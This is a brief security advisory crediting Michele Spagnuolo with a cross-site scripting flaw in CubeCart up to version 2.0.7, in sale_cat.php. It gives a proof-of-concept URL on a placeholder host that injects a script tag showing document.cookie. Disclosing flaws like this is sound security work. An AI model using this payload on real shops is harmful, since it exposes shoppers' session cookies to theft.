XSS in CubeCart <= 2.0.7

[Michele Spagnuolo]

CubeCart (http://www.cubecart.com) up to version 2.0.7 inclusive are vulnerable 
to a XSS in sale_cat.php.

http://www.example.com/storedirectory/sale_cat.php/";;<script>alert(document.cookie)</script>